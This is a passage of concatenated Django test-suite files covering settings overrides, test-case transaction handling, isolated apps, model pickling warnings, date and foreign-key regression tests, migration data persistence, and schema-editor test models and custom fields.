        Overriding the FILE_UPLOAD_DIRECTORY_PERMISSIONS setting should be
        reflected in the directory_permissions_mode attribute of
        django.core.files.storage.default_storage.
        """
        self.assertIsNone(default_storage.directory_permissions_mode)
        with self.settings(FILE_UPLOAD_DIRECTORY_PERMISSIONS=0o777):
            self.assertEqual(default_storage.directory_permissions_mode, 0o777)

    def test_override_database_routers(self):
        """
        Overriding DATABASE_ROUTERS should update the master router.
        """
        test_routers = (object(),)
        with self.settings(DATABASE_ROUTERS=test_routers):
            self.assertSequenceEqual(router.routers, test_routers)

    def test_override_static_url(self):
        """
        Overriding the STATIC_URL setting should be reflected in the
        base_url attribute of
        django.contrib.staticfiles.storage.staticfiles_storage.
        """
        with self.settings(STATIC_URL='/test/'):
            self.assertEqual(staticfiles_storage.base_url, '/test/')

    def test_override_static_root(self):
        """
        Overriding the STATIC_ROOT setting should be reflected in the
        location attribute of
        django.contrib.staticfiles.storage.staticfiles_storage.
        """
        with self.settings(STATIC_ROOT='/tmp/test'):
            self.assertEqual(staticfiles_storage.location, abspathu('/tmp/test'))

    def test_override_staticfiles_storage(self):
        """
        Overriding the STATICFILES_STORAGE setting should be reflected in
        the value of django.contrib.staticfiles.storage.staticfiles_storage.
        """
        new_class = 'CachedStaticFilesStorage'
        new_storage = 'django.contrib.staticfiles.storage.' + new_class
        with self.settings(STATICFILES_STORAGE=new_storage):
            self.assertEqual(staticfiles_storage.__class__.__name__, new_class)

    def test_override_staticfiles_finders(self):
        """
        Overriding the STATICFILES_FINDERS setting should be reflected in
        the return value of django.contrib.staticfiles.finders.get_finders.
        """
        current = get_finders()
        self.assertGreater(len(list(current)), 1)
        finders = ['django.contrib.staticfiles.finders.FileSystemFinder']
        with self.settings(STATICFILES_FINDERS=finders):
            self.assertEqual(len(list(get_finders())), len(finders))

    def test_override_staticfiles_dirs(self):
        """
        Overriding the STATICFILES_DIRS setting should be reflected in
        the locations attribute of the
        django.contrib.staticfiles.finders.FileSystemFinder instance.
        """
        finder = get_finder('django.contrib.staticfiles.finders.FileSystemFinder')
        test_path = '/tmp/test'
        expected_location = ('', test_path)
        self.assertNotIn(expected_location, finder.locations)
        with self.settings(STATICFILES_DIRS=[test_path]):
            finder = get_finder('django.contrib.staticfiles.finders.FileSystemFinder')
            self.assertIn(expected_location, finder.locations)


class TestBadSetUpTestData(TestCase):
    """
    An exception in setUpTestData() shouldn't leak a transaction which would
    cascade across the rest of the test suite.
    """
    class MyException(Exception):
        pass

    @classmethod
    def setUpClass(cls):
        try:
            super(TestBadSetUpTestData, cls).setUpClass()
        except cls.MyException:
            cls._in_atomic_block = connection.in_atomic_block

    @classmethod
    def tearDownClass(Cls):
        # override to avoid a second cls._rollback_atomics() which would fail.
        # Normal setUpClass() methods won't have exception handling so this
        # method wouldn't typically be run.
        pass

    @classmethod
    def setUpTestData(cls):
        # Simulate a broken setUpTestData() method.
        raise cls.MyException()

    def test_failure_in_setUpTestData_should_rollback_transaction(self):
        # setUpTestData() should call _rollback_atomics() so that the
        # transaction doesn't leak.
        self.assertFalse(self._in_atomic_block)


class DisallowedDatabaseQueriesTests(SimpleTestCase):
    def test_disallowed_database_queries(self):
        expected_message = (
            "Database queries aren't allowed in SimpleTestCase. "
            "Either use TestCase or TransactionTestCase to ensure proper test isolation or "
            "set DisallowedDatabaseQueriesTests.allow_database_queries to True to silence this failure."
        )
        with self.assertRaisesMessage(AssertionError, expected_message):
            Car.objects.first()


class AllowedDatabaseQueriesTests(SimpleTestCase):
    allow_database_queries = True

    def test_allowed_database_queries(self):
        Car.objects.first()


@isolate_apps('test_utils', attr_name='class_apps')
class IsolatedAppsTests(SimpleTestCase):
    def test_installed_apps(self):
        self.assertEqual([app_config.label for app_config in self.class_apps.get_app_configs()], ['test_utils'])

    def test_class_decoration(self):
        class ClassDecoration(models.Model):
            pass
        self.assertEqual(ClassDecoration._meta.apps, self.class_apps)

    @isolate_apps('test_utils', kwarg_name='method_apps')
    def test_method_decoration(self, method_apps):
        class MethodDecoration(models.Model):
            pass
        self.assertEqual(MethodDecoration._meta.apps, method_apps)

    def test_context_manager(self):
        with isolate_apps('test_utils') as context_apps:
            class ContextManager(models.Model):
                pass
        self.assertEqual(ContextManager._meta.apps, context_apps)

    @isolate_apps('test_utils', kwarg_name='method_apps')
    def test_nested(self, method_apps):
        class MethodDecoration(models.Model):
            pass
        with isolate_apps('test_utils') as context_apps:
            class ContextManager(models.Model):
                pass
            with isolate_apps('test_utils') as nested_context_apps:
                class NestedContextManager(models.Model):
                    pass
        self.assertEqual(MethodDecoration._meta.apps, method_apps)
        self.assertEqual(ContextManager._meta.apps, context_apps)
        self.assertEqual(NestedContextManager._meta.apps, nested_context_apps)






from django.db import IntegrityError, transaction
from django.test import TestCase, skipUnlessDBFeature

from .models import PossessedCar


class TestTestCase(TestCase):

    @skipUnlessDBFeature('can_defer_constraint_checks')
    @skipUnlessDBFeature('supports_foreign_keys')
    def test_fixture_teardown_checks_constraints(self):
        rollback_atomics = self._rollback_atomics
        self._rollback_atomics = lambda connection: None  # noop
        try:
            car = PossessedCar.objects.create(car_id=1, belongs_to_id=1)
            with self.assertRaises(IntegrityError), transaction.atomic():
                self._fixture_teardown()
            car.delete()
        finally:
            self._rollback_atomics = rollback_atomics






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible

CHOICES = (
    (1, 'first'),
    (2, 'second'),
)


@python_2_unicode_compatible
class Article(models.Model):
    headline = models.CharField(max_length=100, default='Default headline')
    pub_date = models.DateTimeField()
    status = models.IntegerField(blank=True, null=True, choices=CHOICES)
    misc_data = models.CharField(max_length=100, blank=True)
    article_text = models.TextField()

    class Meta:
        ordering = ('pub_date', 'headline')
        # A utf-8 verbose name (Ångström's Articles) to test they are valid.
        verbose_name = "\xc3\x85ngstr\xc3\xb6m's Articles"

    def __str__(self):
        return self.headline


class Movie(models.Model):
    # Test models with non-default primary keys / AutoFields #5218
    movie_id = models.AutoField(primary_key=True)
    name = models.CharField(max_length=60)


class Party(models.Model):
    when = models.DateField(null=True)


class Event(models.Model):
    when = models.DateTimeField()


@python_2_unicode_compatible
class Department(models.Model):
    id = models.PositiveIntegerField(primary_key=True)
    name = models.CharField(max_length=200)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Worker(models.Model):
    department = models.ForeignKey(Department, models.CASCADE)
    name = models.CharField(max_length=200)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class BrokenUnicodeMethod(models.Model):
    name = models.CharField(max_length=7)

    def __str__(self):
        # Intentionally broken (invalid start byte in byte string).
        return b'Name\xff: %s'.decode() % self.name


class NonAutoPK(models.Model):
    name = models.CharField(max_length=10, primary_key=True)


# Chained foreign keys with to_field produce incorrect query #18432
class Model1(models.Model):
    pkey = models.IntegerField(unique=True, db_index=True)


class Model2(models.Model):
    model1 = models.ForeignKey(Model1, models.CASCADE, unique=True, to_field='pkey')


class Model3(models.Model):
    model2 = models.ForeignKey(Model2, models.CASCADE, unique=True, to_field='model1')






import pickle

from django.db import DJANGO_VERSION_PICKLE_KEY, models
from django.test import TestCase
from django.utils.version import get_version


class ModelPickleTestCase(TestCase):
    def test_missing_django_version_unpickling(self):
        """
        #21430 -- Verifies a warning is raised for models that are
        unpickled without a Django version
        """
        class MissingDjangoVersion(models.Model):
            title = models.CharField(max_length=10)

            def __reduce__(self):
                reduce_list = super(MissingDjangoVersion, self).__reduce__()
                data = reduce_list[-1]
                del data[DJANGO_VERSION_PICKLE_KEY]
                return reduce_list

        p = MissingDjangoVersion(title="FooBar")
        msg = "Pickled model instance's Django version is not specified."
        with self.assertRaisesMessage(RuntimeWarning, msg):
            pickle.loads(pickle.dumps(p))

    def test_unsupported_unpickle(self):
        """
        #21430 -- Verifies a warning is raised for models that are
        unpickled with a different Django version than the current
        """
        class DifferentDjangoVersion(models.Model):
            title = models.CharField(max_length=10)

            def __reduce__(self):
                reduce_list = super(DifferentDjangoVersion, self).__reduce__()
                data = reduce_list[-1]
                data[DJANGO_VERSION_PICKLE_KEY] = '1.0'
                return reduce_list

        p = DifferentDjangoVersion(title="FooBar")
        msg = "Pickled model instance's Django version 1.0 does not match the current version %s." % get_version()
        with self.assertRaisesMessage(RuntimeWarning, msg):
            pickle.loads(pickle.dumps(p))












from __future__ import unicode_literals

import datetime
from operator import attrgetter

from django.core.exceptions import ValidationError
from django.db import router
from django.db.models.sql import InsertQuery
from django.test import TestCase, skipUnlessDBFeature
from django.utils import six
from django.utils.timezone import get_fixed_timezone

from .models import (
    Article, BrokenUnicodeMethod, Department, Event, Model1, Model2, Model3,
    NonAutoPK, Party, Worker,
)


class ModelTests(TestCase):
    # The bug is that the following queries would raise:
    # "TypeError: Related Field has invalid lookup: gte"
    def test_related_gte_lookup(self):
        """
        Regression test for #10153: foreign key __gte lookups.
        """
        Worker.objects.filter(department__gte=0)

    def test_related_lte_lookup(self):
        """
        Regression test for #10153: foreign key __lte lookups.
        """
        Worker.objects.filter(department__lte=0)

    def test_sql_insert_compiler_return_id_attribute(self):
        """
        Regression test for #14019: SQLInsertCompiler.as_sql() failure
        """
        db = router.db_for_write(Party)
        query = InsertQuery(Party)
        query.insert_values([Party._meta.fields[0]], [], raw=False)
        # this line will raise an AttributeError without the accompanying fix
        query.get_compiler(using=db).as_sql()

    def test_empty_choice(self):
        # NOTE: Part of the regression test here is merely parsing the model
        # declaration. The verbose_name, in particular, did not always work.
        a = Article.objects.create(
            headline="Look at me!", pub_date=datetime.datetime.now()
        )
        # An empty choice field should return None for the display name.
        self.assertIs(a.get_status_display(), None)

        # Empty strings should be returned as Unicode
        a = Article.objects.get(pk=a.pk)
        self.assertEqual(a.misc_data, '')
        self.assertIs(type(a.misc_data), six.text_type)

    def test_long_textfield(self):
        # TextFields can hold more than 4000 characters (this was broken in
        # Oracle).
        a = Article.objects.create(
            headline="Really, really big",
            pub_date=datetime.datetime.now(),
            article_text="ABCDE" * 1000
        )
        a = Article.objects.get(pk=a.pk)
        self.assertEqual(len(a.article_text), 5000)

    def test_long_unicode_textfield(self):
        # TextFields can hold more than 4000 bytes also when they are
        # less than 4000 characters
        a = Article.objects.create(
            headline="Really, really big",
            pub_date=datetime.datetime.now(),
            article_text='\u05d0\u05d1\u05d2' * 1000
        )
        a = Article.objects.get(pk=a.pk)
        self.assertEqual(len(a.article_text), 3000)

    def test_date_lookup(self):
        # Regression test for #659
        Party.objects.create(when=datetime.datetime(1999, 12, 31))
        Party.objects.create(when=datetime.datetime(1998, 12, 31))
        Party.objects.create(when=datetime.datetime(1999, 1, 1))
        Party.objects.create(when=datetime.datetime(1, 3, 3))
        self.assertQuerysetEqual(
            Party.objects.filter(when__month=2), []
        )
        self.assertQuerysetEqual(
            Party.objects.filter(when__month=1), [
                datetime.date(1999, 1, 1)
            ],
            attrgetter("when")
        )
        self.assertQuerysetEqual(
            Party.objects.filter(when__month=12), [
                datetime.date(1999, 12, 31),
                datetime.date(1998, 12, 31),
            ],
            attrgetter("when"),
            ordered=False
        )
        self.assertQuerysetEqual(
            Party.objects.filter(when__year=1998), [
                datetime.date(1998, 12, 31),
            ],
            attrgetter("when")
        )
        # Regression test for #8510
        self.assertQuerysetEqual(
            Party.objects.filter(when__day="31"), [
                datetime.date(1999, 12, 31),
                datetime.date(1998, 12, 31),
            ],
            attrgetter("when"),
            ordered=False
        )
        self.assertQuerysetEqual(
            Party.objects.filter(when__month="12"), [
                datetime.date(1999, 12, 31),
                datetime.date(1998, 12, 31),
            ],
            attrgetter("when"),
            ordered=False
        )
        self.assertQuerysetEqual(
            Party.objects.filter(when__year="1998"), [
                datetime.date(1998, 12, 31),
            ],
            attrgetter("when")
        )

        # Regression test for #18969
        self.assertQuerysetEqual(
            Party.objects.filter(when__year=1), [
                datetime.date(1, 3, 3),
            ],
            attrgetter("when")
        )
        self.assertQuerysetEqual(
            Party.objects.filter(when__year='1'), [
                datetime.date(1, 3, 3),
            ],
            attrgetter("when")
        )

    def test_date_filter_null(self):
        # Date filtering was failing with NULL date values in SQLite
        # (regression test for #3501, among other things).
        Party.objects.create(when=datetime.datetime(1999, 1, 1))
        Party.objects.create()
        p = Party.objects.filter(when__month=1)[0]
        self.assertEqual(p.when, datetime.date(1999, 1, 1))
        self.assertQuerysetEqual(
            Party.objects.filter(pk=p.pk).dates("when", "month"), [
                1
            ],
            attrgetter("month")
        )

    def test_get_next_prev_by_field(self):
        # Check that get_next_by_FIELD and get_previous_by_FIELD don't crash
        # when we have usecs values stored on the database
        #
        # It crashed after the Field.get_db_prep_* refactor, because on most
        # backends DateTimeFields supports usecs, but DateTimeField.to_python
        # didn't recognize them. (Note that
        # Model._get_next_or_previous_by_FIELD coerces values to strings)
        Event.objects.create(when=datetime.datetime(2000, 1, 1, 16, 0, 0))
        Event.objects.create(when=datetime.datetime(2000, 1, 1, 6, 1, 1))
        Event.objects.create(when=datetime.datetime(2000, 1, 1, 13, 1, 1))
        e = Event.objects.create(when=datetime.datetime(2000, 1, 1, 12, 0, 20, 24))

        self.assertEqual(
            e.get_next_by_when().when, datetime.datetime(2000, 1, 1, 13, 1, 1)
        )
        self.assertEqual(
            e.get_previous_by_when().when, datetime.datetime(2000, 1, 1, 6, 1, 1)
        )

    def test_primary_key_foreign_key_types(self):
        # Check Department and Worker (non-default PK type)
        d = Department.objects.create(id=10, name="IT")
        w = Worker.objects.create(department=d, name="Full-time")
        self.assertEqual(six.text_type(w), "Full-time")

    def test_broken_unicode(self):
        # Models with broken unicode methods should still have a printable repr
        b = BrokenUnicodeMethod.objects.create(name="Jerry")
        self.assertEqual(repr(b), "<BrokenUnicodeMethod: [Bad Unicode data]>")

    @skipUnlessDBFeature("supports_timezones")
    def test_timezones(self):
        # Saving an updating with timezone-aware datetime Python objects.
        # Regression test for #10443.
        # The idea is that all these creations and saving should work without
        # crashing. It's not rocket science.
        dt1 = datetime.datetime(2008, 8, 31, 16, 20, tzinfo=get_fixed_timezone(600))
        dt2 = datetime.datetime(2008, 8, 31, 17, 20, tzinfo=get_fixed_timezone(600))
        obj = Article.objects.create(
            headline="A headline", pub_date=dt1, article_text="foo"
        )
        obj.pub_date = dt2
        obj.save()
        self.assertEqual(
            Article.objects.filter(headline="A headline").update(pub_date=dt1),
            1
        )

    def test_chained_fks(self):
        """
        Regression for #18432: Chained foreign keys with to_field produce incorrect query
        """

        m1 = Model1.objects.create(pkey=1000)
        m2 = Model2.objects.create(model1=m1)
        m3 = Model3.objects.create(model2=m2)

        # this is the actual test for #18432
        m3 = Model3.objects.get(model2=1000)
        m3.model2


class ModelValidationTest(TestCase):
    def test_pk_validation(self):
        NonAutoPK.objects.create(name="one")
        again = NonAutoPK(name="one")
        with self.assertRaises(ValidationError):
            again.validate_unique()


class EvaluateMethodTest(TestCase):
    """
    Regression test for #13640: cannot filter by objects with 'evaluate' attr
    """

    def test_model_with_evaluate_method(self):
        """
        Ensures that you can filter by objects that have an 'evaluate' attr
        """
        dept = Department.objects.create(pk=1, name='abc')
        dept.evaluate = 'abc'
        Worker.objects.filter(department=dept)






from __future__ import unicode_literals

from django.db import models
from django.utils import timezone
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Article(models.Model):
    title = models.CharField(max_length=100)
    pub_date = models.DateField()
    pub_datetime = models.DateTimeField(default=timezone.now())

    categories = models.ManyToManyField("Category", related_name="articles")

    def __str__(self):
        return self.title


@python_2_unicode_compatible
class Comment(models.Model):
    article = models.ForeignKey(Article, models.CASCADE, related_name="comments")
    text = models.TextField()
    pub_date = models.DateField()
    approval_date = models.DateField(null=True)

    def __str__(self):
        return 'Comment to %s (%s)' % (self.article.title, self.pub_date)


class Category(models.Model):
    name = models.CharField(max_length=255)












from __future__ import unicode_literals

import datetime
from unittest import skipUnless

from django.core.exceptions import FieldError
from django.db import connection
from django.test import TestCase, override_settings
from django.utils import six

from .models import Article, Category, Comment


class DatesTests(TestCase):
    def test_related_model_traverse(self):
        a1 = Article.objects.create(
            title="First one",
            pub_date=datetime.date(2005, 7, 28),
        )
        a2 = Article.objects.create(
            title="Another one",
            pub_date=datetime.date(2010, 7, 28),
        )
        a3 = Article.objects.create(
            title="Third one, in the first day",
            pub_date=datetime.date(2005, 7, 28),
        )

        a1.comments.create(
            text="Im the HULK!",
            pub_date=datetime.date(2005, 7, 28),
        )
        a1.comments.create(
            text="HULK SMASH!",
            pub_date=datetime.date(2005, 7, 29),
        )
        a2.comments.create(
            text="LMAO",
            pub_date=datetime.date(2010, 7, 28),
        )
        a3.comments.create(
            text="+1",
            pub_date=datetime.date(2005, 8, 29),
        )

        c = Category.objects.create(name="serious-news")
        c.articles.add(a1, a3)

        self.assertQuerysetEqual(
            Comment.objects.dates("article__pub_date", "year"), [
                datetime.date(2005, 1, 1),
                datetime.date(2010, 1, 1),
            ],
            lambda d: d,
        )
        self.assertQuerysetEqual(
            Comment.objects.dates("article__pub_date", "month"), [
                datetime.date(2005, 7, 1),
                datetime.date(2010, 7, 1),
            ],
            lambda d: d
        )
        self.assertQuerysetEqual(
            Comment.objects.dates("article__pub_date", "day"), [
                datetime.date(2005, 7, 28),
                datetime.date(2010, 7, 28),
            ],
            lambda d: d
        )
        self.assertQuerysetEqual(
            Article.objects.dates("comments__pub_date", "day"), [
                datetime.date(2005, 7, 28),
                datetime.date(2005, 7, 29),
                datetime.date(2005, 8, 29),
                datetime.date(2010, 7, 28),
            ],
            lambda d: d
        )
        self.assertQuerysetEqual(
            Article.objects.dates("comments__approval_date", "day"), []
        )
        self.assertQuerysetEqual(
            Category.objects.dates("articles__pub_date", "day"), [
                datetime.date(2005, 7, 28),
            ],
            lambda d: d,
        )

    def test_dates_fails_when_no_arguments_are_provided(self):
        with self.assertRaises(TypeError):
            Article.objects.dates()

    def test_dates_fails_when_given_invalid_field_argument(self):
        six.assertRaisesRegex(
            self,
            FieldError,
            "Cannot resolve keyword u?'invalid_field' into field. Choices are: "
            "categories, comments, id, pub_date, pub_datetime, title",
            Article.objects.dates,
            "invalid_field",
            "year",
        )

    def test_dates_fails_when_given_invalid_kind_argument(self):
        with self.assertRaisesMessage(AssertionError, "'kind' must be one of 'year', 'month' or 'day'."):
            Article.objects.dates("pub_date", "bad_kind")

    def test_dates_fails_when_given_invalid_order_argument(self):
        with self.assertRaisesMessage(AssertionError, "'order' must be either 'ASC' or 'DESC'."):
            Article.objects.dates("pub_date", "year", order="bad order")

    @override_settings(USE_TZ=False)
    def test_dates_trunc_datetime_fields(self):
        Article.objects.bulk_create(
            Article(pub_date=pub_datetime.date(), pub_datetime=pub_datetime)
            for pub_datetime in [
                datetime.datetime(2015, 10, 21, 18, 1),
                datetime.datetime(2015, 10, 21, 18, 2),
                datetime.datetime(2015, 10, 22, 18, 1),
                datetime.datetime(2015, 10, 22, 18, 2),
            ]
        )
        self.assertQuerysetEqual(
            Article.objects.dates('pub_datetime', 'day', order='ASC'), [
                "datetime.date(2015, 10, 21)",
                "datetime.date(2015, 10, 22)",
            ]
        )

    @skipUnless(connection.vendor == 'mysql', "Test checks MySQL query syntax")
    def test_dates_avoid_datetime_cast(self):
        Article.objects.create(pub_date=datetime.date(2015, 10, 21))
        for kind in ['day', 'month', 'year']:
            qs = Article.objects.dates('pub_date', kind)
            if kind == 'day':
                self.assertIn('DATE(', str(qs.query))
            else:
                self.assertIn(' AS DATE)', str(qs.query))






from django.db import models


class Book(models.Model):
    title = models.CharField(max_length=100)


class Unmanaged(models.Model):
    title = models.CharField(max_length=100)

    class Meta:
        managed = False












from django.test import TestCase, TransactionTestCase

from .models import Book


class MigrationDataPersistenceTestCase(TransactionTestCase):
    """
    Tests that data loaded in migrations is available if we set
    serialized_rollback = True on TransactionTestCase
    """

    available_apps = ["migration_test_data_persistence"]
    serialized_rollback = True

    def test_persistence(self):
        self.assertEqual(
            Book.objects.count(),
            1,
        )


class MigrationDataNormalPersistenceTestCase(TestCase):
    """
    Tests that data loaded in migrations is available on TestCase
    """

    def test_persistence(self):
        self.assertEqual(
            Book.objects.count(),
            1,
        )






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


def add_book(apps, schema_editor):
    apps.get_model("migration_test_data_persistence", "Book").objects.using(
        schema_editor.connection.alias,
    ).create(
        title="I Love Django",
    )


class Migration(migrations.Migration):

    dependencies = [("migration_test_data_persistence", "0001_initial")]

    operations = [
        migrations.RunPython(
            add_book,
        ),
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
    ]

    operations = [
        migrations.CreateModel(
            name='Book',
            fields=[
                ('id', models.AutoField(verbose_name='ID', primary_key=True, serialize=False, auto_created=True)),
                ('title', models.CharField(max_length=100)),
            ],
            options={
            },
            bases=(models.Model,),
        ),
    ]












from django.apps.registry import Apps
from django.db import models
from django.utils.encoding import python_2_unicode_compatible

# Because we want to test creation and deletion of these as separate things,
# these models are all inserted into a separate Apps so the main test
# runner doesn't migrate them.

new_apps = Apps()


class Author(models.Model):
    name = models.CharField(max_length=255)
    height = models.PositiveIntegerField(null=True, blank=True)
    weight = models.IntegerField(null=True, blank=True)

    class Meta:
        apps = new_apps


class AuthorWithDefaultHeight(models.Model):
    name = models.CharField(max_length=255)
    height = models.PositiveIntegerField(null=True, blank=True, default=42)

    class Meta:
        apps = new_apps


class AuthorWithEvenLongerName(models.Model):
    name = models.CharField(max_length=255)
    height = models.PositiveIntegerField(null=True, blank=True)

    class Meta:
        apps = new_apps


class Book(models.Model):
    author = models.ForeignKey(Author, models.CASCADE)
    title = models.CharField(max_length=100, db_index=True)
    pub_date = models.DateTimeField()
    # tags = models.ManyToManyField("Tag", related_name="books")

    class Meta:
        apps = new_apps


class BookWeak(models.Model):
    author = models.ForeignKey(Author, models.CASCADE, db_constraint=False)
    title = models.CharField(max_length=100, db_index=True)
    pub_date = models.DateTimeField()

    class Meta:
        apps = new_apps


class BookWithLongName(models.Model):
    author_foreign_key_with_really_long_field_name = models.ForeignKey(
        AuthorWithEvenLongerName,
        models.CASCADE,
    )

    class Meta:
        apps = new_apps


class BookWithO2O(models.Model):
    author = models.OneToOneField(Author, models.CASCADE)
    title = models.CharField(max_length=100, db_index=True)
    pub_date = models.DateTimeField()

    class Meta:
        apps = new_apps
        db_table = "schema_book"


class BookWithSlug(models.Model):
    author = models.ForeignKey(Author, models.CASCADE)
    title = models.CharField(max_length=100, db_index=True)
    pub_date = models.DateTimeField()
    slug = models.CharField(max_length=20, unique=True)

    class Meta:
        apps = new_apps
        db_table = "schema_book"


class BookWithoutAuthor(models.Model):
    title = models.CharField(max_length=100, db_index=True)
    pub_date = models.DateTimeField()

    class Meta:
        apps = new_apps
        db_table = "schema_book"


class BookForeignObj(models.Model):
    title = models.CharField(max_length=100, db_index=True)
    author_id = models.IntegerField()

    class Meta:
        apps = new_apps


class IntegerPK(models.Model):
    i = models.IntegerField(primary_key=True)
    j = models.IntegerField(unique=True)

    class Meta:
        apps = new_apps
        db_table = "INTEGERPK"  # uppercase to ensure proper quoting


class Note(models.Model):
    info = models.TextField()

    class Meta:
        apps = new_apps


class NoteRename(models.Model):
    detail_info = models.TextField()

    class Meta:
        apps = new_apps
        db_table = "schema_note"


class Tag(models.Model):
    title = models.CharField(max_length=255)
    slug = models.SlugField(unique=True)

    class Meta:
        apps = new_apps


class TagIndexed(models.Model):
    title = models.CharField(max_length=255)
    slug = models.SlugField(unique=True)

    class Meta:
        apps = new_apps
        index_together = [["slug", "title"]]


class TagM2MTest(models.Model):
    title = models.CharField(max_length=255)
    slug = models.SlugField(unique=True)

    class Meta:
        apps = new_apps


class TagUniqueRename(models.Model):
    title = models.CharField(max_length=255)
    slug2 = models.SlugField(unique=True)

    class Meta:
        apps = new_apps
        db_table = "schema_tag"


# Based on tests/reserved_names/models.py
@python_2_unicode_compatible
class Thing(models.Model):
    when = models.CharField(max_length=1, primary_key=True)

    class Meta:
        db_table = 'drop'

    def __str__(self):
        return self.when


class UniqueTest(models.Model):
    year = models.IntegerField()
    slug = models.SlugField(unique=False)

    class Meta:
        apps = new_apps
        unique_together = ["year", "slug"]


class Node(models.Model):
    node_id = models.AutoField(primary_key=True)
    parent = models.ForeignKey('self', models.CASCADE, null=True, blank=True)












from django.db import models
from django.db.models.fields.related import (
    RECURSIVE_RELATIONSHIP_CONSTANT, ManyToManyDescriptor, ManyToManyField,
    ManyToManyRel, RelatedField, create_many_to_many_intermediary_model,
)
from django.utils.functional import curry


class CustomManyToManyField(RelatedField):
    """
    Ticket #24104 - Need to have a custom ManyToManyField,
    which is not an inheritor of ManyToManyField.
    """
    many_to_many = True

    def __init__(self, to, db_constraint=True, swappable=True, **kwargs):
        try:
            to._meta
        except AttributeError:
            to = str(to)
        kwargs['rel'] = ManyToManyRel(
            self, to,
            related_name=kwargs.pop('related_name', None),
            related_query_name=kwargs.pop('related_query_name', None),
            limit_choices_to=kwargs.pop('limit_choices_to', None),
            symmetrical=kwargs.pop('symmetrical', to == RECURSIVE_RELATIONSHIP_CONSTANT),
            through=kwargs.pop('through', None),
            through_fields=kwargs.pop('through_fields', None),
            db_constraint=db_constraint,
        )
        self.swappable = swappable
        self.db_table = kwargs.pop('db_table', None)
        if kwargs['rel'].through is not None:
            assert self.db_table is None, "Cannot specify a db_table if an intermediary model is used."
        super(CustomManyToManyField, self).__init__(**kwargs)

    def contribute_to_class(self, cls, name, **kwargs):
        if self.remote_field.symmetrical and (
                self.remote_field.model == "self" or self.remote_field.model == cls._meta.object_name):
            self.remote_field.related_name = "%s_rel_+" % name
        super(CustomManyToManyField, self).contribute_to_class(cls, name, **kwargs)
        if not self.remote_field.through and not cls._meta.abstract and not cls._meta.swapped:
            self.remote_field.through = create_many_to_many_intermediary_model(self, cls)
        setattr(cls, self.name, ManyToManyDescriptor(self.remote_field))
        self.m2m_db_table = curry(self._get_m2m_db_table, cls._meta)

    def get_internal_type(self):
        return 'ManyToManyField'

    # Copy those methods from ManyToManyField because they don't call super() internally
    contribute_to_related_class = ManyToManyField.__dict__['contribute_to_related_class']
    _get_m2m_attr = ManyToManyField.__dict__['_get_m2m_attr']
    _get_m2m_reverse_attr = ManyToManyField.__dict__['_get_m2m_reverse_attr']
    _get_m2m_db_table = ManyToManyField.__dict__['_get_m2m_db_table']


class InheritedManyToManyField(ManyToManyField):
    pass


class MediumBlobField(models.BinaryField):
    """
    A MySQL BinaryField that uses a different blob size.
    """
    def db_type(self, connection):
        return 'MEDIUMBLOB'






import datetime
import itertools
import unittest
from copy import copy

from django.db import (
    DatabaseError, IntegrityError, OperationalError, connection,
)
from django.db.models import Model
from django.db.models.deletion import CASCADE, PROTECT
from django.db.models.fields import (
    AutoField, BigIntegerField, BinaryField, BooleanField, CharField,
    DateField, DateTimeField, IntegerField, PositiveIntegerField, SlugField,
    TextField, TimeField,
)
from django.db.models.fields.related import (
    ForeignKey, ForeignObject, ManyToManyField, OneToOneField,
)
from django.db.models.indexes import Index
from django.db.transaction import atomic
from django.test import (
    TransactionTestCase, mock, skipIfDBFeature, skipUnlessDBFeature,
)
from django.utils.timezone import UTC

from .fields import (
    CustomManyToManyField, InheritedManyToManyField, MediumBlobField,
)
from .models import (
    Author, AuthorWithDefaultHeight, AuthorWithEvenLongerName, Book,
    BookForeignObj, BookWeak, BookWithLongName, BookWithO2O, BookWithoutAuthor,
    BookWithSlug, IntegerPK, Node, Note, NoteRename, Tag, TagIndexed,
    TagM2MTest, TagUniqueRename, Thing, UniqueTest, new_apps,
)


class SchemaTests(TransactionTestCase):
    """
    Tests that the schema-alteration code works correctly.

    Be aware that these tests are more liable than most to false results,
    as sometimes the code to check if a test has worked is almost as complex
    as the code it is testing.
    """

    available_apps = []

    models = [
        Author, AuthorWithDefaultHeight, AuthorWithEvenLongerName, Book,
        BookWeak, BookWithLongName, BookWithO2O, BookWithSlug, IntegerPK, Note,
        Tag, TagIndexed, TagM2MTest, TagUniqueRename, Thing, UniqueTest,
    ]

    # Utility functions

    def setUp(self):
        # local_models should contain test dependent model classes that will be
        # automatically removed from the app cache on test tear down.
        self.local_models = []

    def tearDown(self):
        # Delete any tables made for our models
        self.delete_tables()
        new_apps.clear_cache()
        for model in new_apps.get_models():
            model._meta._expire_cache()
        if 'schema' in new_apps.all_models:
            for model in self.local_models:
                for many_to_many in model._meta.many_to_many:
                    through = many_to_many.remote_field.through
                    if through and through._meta.auto_created:
                        del new_apps.all_models['schema'][through._meta.model_name]
                del new_apps.all_models['schema'][model._meta.model_name]

    def delete_tables(self):
        "Deletes all model tables for our models for a clean test environment"
        converter = connection.introspection.table_name_converter
        with atomic():
            connection.disable_constraint_checking()
            table_names = connection.introspection.table_names()
            for model in itertools.chain(SchemaTests.models, self.local_models):
                tbl = converter(model._meta.db_table)
                if tbl in table_names:
                    with connection.schema_editor() as editor:
                        editor.delete_model(model)
                    table_names.remove(tbl)
            connection.enable_constraint_checking()

    def column_classes(self, model):
        with connection.cursor() as cursor:
            columns = {
                d[0]: (connection.introspection.get_field_type(d[1], d), d)
                for d in connection.introspection.get_table_description(
                    cursor,
                    model._meta.db_table,
                )
            }
        # SQLite has a different format for field_type
        for name, (type, desc) in columns.items():
            if isinstance(type, tuple):
                columns[name] = (type[0], desc)
        # SQLite also doesn't error properly
        if not columns:
            raise DatabaseError("Table does not exist (empty pragma)")
        return columns

    def get_indexes(self, table):
        """
        Get the indexes on the table using a new cursor.
        """
        with connection.cursor() as cursor:
            return connection.introspection.get_indexes(cursor, table)

    def get_constraints(self, table):
        """
        Get the constraints on a table using a new cursor.
        """
        with connection.cursor() as cursor:
            return connection.introspection.get_constraints(cursor, table)

    def get_constraints_for_column(self, model, column_name):
        constraints = self.get_constraints(model._meta.db_table)
        constraints_for_column = []
